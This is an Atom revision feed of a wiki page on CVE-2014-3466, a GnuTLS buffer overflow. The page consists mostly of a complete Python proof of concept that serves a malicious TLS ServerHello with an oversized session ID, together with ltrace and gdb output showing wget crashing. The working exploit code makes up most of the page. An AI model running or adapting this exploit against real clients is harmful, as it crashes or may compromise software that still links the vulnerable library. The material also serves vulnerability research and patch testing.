<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-3466_GnuTLS%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2014-3466 GnuTLS緩衝區漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2014-3466_GnuTLS%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-3466_GnuTLS%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-14T21:35:22Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2014-3466_GnuTLS%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BC%8F%E6%B4%9E&amp;diff=1075&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==Usage== &lt;pre&gt; $ python poc.py 4433 &lt;/pre&gt;  &lt;pre&gt; $ ldd $(which wget)  ... 	libnettle.so.4 =&gt; /usr/lib/x86_64-linux-gnu/libnettle.so.4 (0x00007fa8a026e000) 	libgnutls.so.28 =...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2014-3466_GnuTLS%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BC%8F%E6%B4%9E&amp;diff=1075&amp;oldid=prev"/>
		<updated>2021-04-07T03:24:42Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==Usage== &amp;lt;pre&amp;gt; $ python poc.py 4433 &amp;lt;/pre&amp;gt;  &amp;lt;pre&amp;gt; $ ldd $(which wget)  ... 	libnettle.so.4 =&amp;gt; /usr/lib/x86_64-linux-gnu/libnettle.so.4 (0x00007fa8a026e000) 	libgnutls.so.28 =...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==Usage==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ python poc.py 4433&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ldd $(which wget) &lt;br /&gt;
...&lt;br /&gt;
	libnettle.so.4 =&amp;gt; /usr/lib/x86_64-linux-gnu/libnettle.so.4 (0x00007fa8a026e000)&lt;br /&gt;
	libgnutls.so.28 =&amp;gt; /usr/lib/x86_64-linux-gnu/libgnutls.so.28 (0x00007fa89ff5c000)&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
$ ltrace -riS -e gnutls_handshake wget -d https://localhost:4433&lt;br /&gt;
...&lt;br /&gt;
  0.000096 [0x4308a0] wget-&amp;gt;gnutls_handshake(0xdf5380, 4, 0xa4dd30, 0x7f30f2731620 &amp;lt;unfinished ...&amp;gt;&lt;br /&gt;
  0.000216 [0x7f30f246b807] SYS_writev(4, 0x7fffc0b9c970, 1)    = 272&lt;br /&gt;
  0.000067 [0x7f30f2473a4d] SYS_recvfrom(4, 0xdf7920, 5, 0)     = 5&lt;br /&gt;
  0.500357 [0x7f30f2473a4d] SYS_recvfrom(4, 0xdfbad0, 250, 0)   = 250&lt;br /&gt;
  0.000095 [0x7f30f2e408f0] --- SIGSEGV (Segmentation fault) ---&lt;br /&gt;
  0.004670 [0xffffffffffffffff] +++ killed by SIGSEGV +++&lt;br /&gt;
&lt;br /&gt;
$ sudo apt-get install libgnutls28-dbg&lt;br /&gt;
$ gdb --args wget https://localhost:4433&lt;br /&gt;
...&lt;br /&gt;
(gdb) r&lt;br /&gt;
...&lt;br /&gt;
(gdb) bt full&lt;br /&gt;
...&lt;br /&gt;
#0  0x00007ffff79548f0 in _gnutls_supported_ciphersuites (session=session@entry=0xa5e380, &lt;br /&gt;
    cipher_suites=cipher_suites@entry=0x7fffffffd340 &amp;lt;incomplete sequence \366\245&amp;gt;, &lt;br /&gt;
    max_cipher_suite_size=max_cipher_suite_size@entry=512) at ciphersuites.c:1311&lt;br /&gt;
#1  0x00007ffff78c759a in _gnutls_client_set_ciphersuite (session=session@entry=0xa5e380, &lt;br /&gt;
    suite=suite@entry=0xa64b5b '\377' &amp;lt;repeats 111 times&amp;gt;) at gnutls_handshake.c:1525&lt;br /&gt;
#2  0x00007ffff78cae15 in _gnutls_read_server_hello (datalen=&amp;lt;optimized out&amp;gt;, &lt;br /&gt;
    data=0xa64a70 &amp;quot;\003\001S\213\177c\301\016\035r\n\263\370\247\017\365]ieXB\200\301\373Oۚ\252\004\243\323Kq\307\310&amp;quot;, '\377' &amp;lt;repeats 165 times&amp;gt;..., session=0xa5e380) at gnutls_handshake.c:1778&lt;br /&gt;
#3  _gnutls_recv_hello (session=session@entry=0xa5e380, &lt;br /&gt;
    data=0xa64a70 &amp;quot;\003\001S\213\177c\301\016\035r\n\263\370\247\017\365]ieXB\200\301\373Oۚ\252\004\243\323Kq\307\310&amp;quot;, '\377' &amp;lt;repeats 165 times&amp;gt;..., datalen=&amp;lt;optimized out&amp;gt;) at gnutls_handshake.c:2222&lt;br /&gt;
#4  0x00007ffff78cb64f in _gnutls_recv_handshake (session=session@entry=0xa5e380, &lt;br /&gt;
    type=type@entry=GNUTLS_HANDSHAKE_SERVER_HELLO, optional=optional@entry=0, buf=buf@entry=0x0)&lt;br /&gt;
    at gnutls_handshake.c:1442&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==POC.py==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
#&lt;br /&gt;
# PoC for CVE-2014-3466 &lt;br /&gt;
# (gnutls: insufficient session id length check in _gnutls_read_server_hello)&lt;br /&gt;
#&lt;br /&gt;
# Author:   Aaron Zauner &amp;lt;azet@azet.org&amp;gt;&lt;br /&gt;
# License:  CC0 1.0 (https://creativecommons.org/publicdomain/zero/1.0)&lt;br /&gt;
#&lt;br /&gt;
import sys&lt;br /&gt;
import socket&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
# Record Layer&lt;br /&gt;
R_Type          = '16'          # Handshake Protocol&lt;br /&gt;
R_Version       = '03 01'       # TLS 1.0&lt;br /&gt;
R_Length        = '00 fa'       # 250 Bytes&lt;br /&gt;
&lt;br /&gt;
# Handshake Protocol: ServerHello&lt;br /&gt;
HS_Type         = '02'          # Handshake Type: ServerHello&lt;br /&gt;
HS_Length       = '00 00 f6'    # 246 Bytes&lt;br /&gt;
HS_Version      = '03 01'       # TLS 1.0&lt;br /&gt;
HS_Random       = '''&lt;br /&gt;
53 8b 7f 63 c1 0e 1d 72 0a b3 f8 a7 0f f5 5d 69 &lt;br /&gt;
65 58 42 80 c1 fb 4f db 9a aa 04 a3 d3 4b 71 c7&lt;br /&gt;
'''                             # Random (gmt_unix_time + random bytes)&lt;br /&gt;
HS_SessID_Len   = 'c8'          # Session ID Length 200 Bytes (!)&lt;br /&gt;
HS_SessID_Data  = '''&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff&lt;br /&gt;
'''                             # Session ID Data (Payload)&lt;br /&gt;
&lt;br /&gt;
MaliciousServerHello = (&lt;br /&gt;
    R_Type      + R_Version     + R_Length          + &lt;br /&gt;
    HS_Type     + HS_Length     + HS_Version        + &lt;br /&gt;
    HS_Random   + HS_SessID_Len + HS_SessID_Data&lt;br /&gt;
).replace(' ', '').replace('\n', '').decode('hex')&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    try:&lt;br /&gt;
        PORT = int(sys.argv[1])&lt;br /&gt;
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;
        sock.bind(('', PORT))&lt;br /&gt;
        sock.listen(1)&lt;br /&gt;
        print &amp;quot;-- started listener on port&amp;quot;, PORT&lt;br /&gt;
&lt;br /&gt;
        while True:&lt;br /&gt;
            conn, addr = sock.accept()&lt;br /&gt;
            print &amp;quot;&amp;lt;&amp;lt; client connected:&amp;quot;, addr&lt;br /&gt;
&lt;br /&gt;
            time.sleep(0.5) # wait for ClientHello :P&lt;br /&gt;
            if conn.send(MaliciousServerHello):&lt;br /&gt;
                print &amp;quot;&amp;gt;&amp;gt; sent payload to&amp;quot;, addr[0]&lt;br /&gt;
&lt;br /&gt;
            conn.close()&lt;br /&gt;
    finally:&lt;br /&gt;
        sock.close()&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    if len(sys.argv) &amp;lt;= 1:&lt;br /&gt;
       print &amp;quot;  Usage:\n\tpython poc.py [port]\n&amp;quot;&lt;br /&gt;
       exit(1)&lt;br /&gt;
&lt;br /&gt;
    main()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>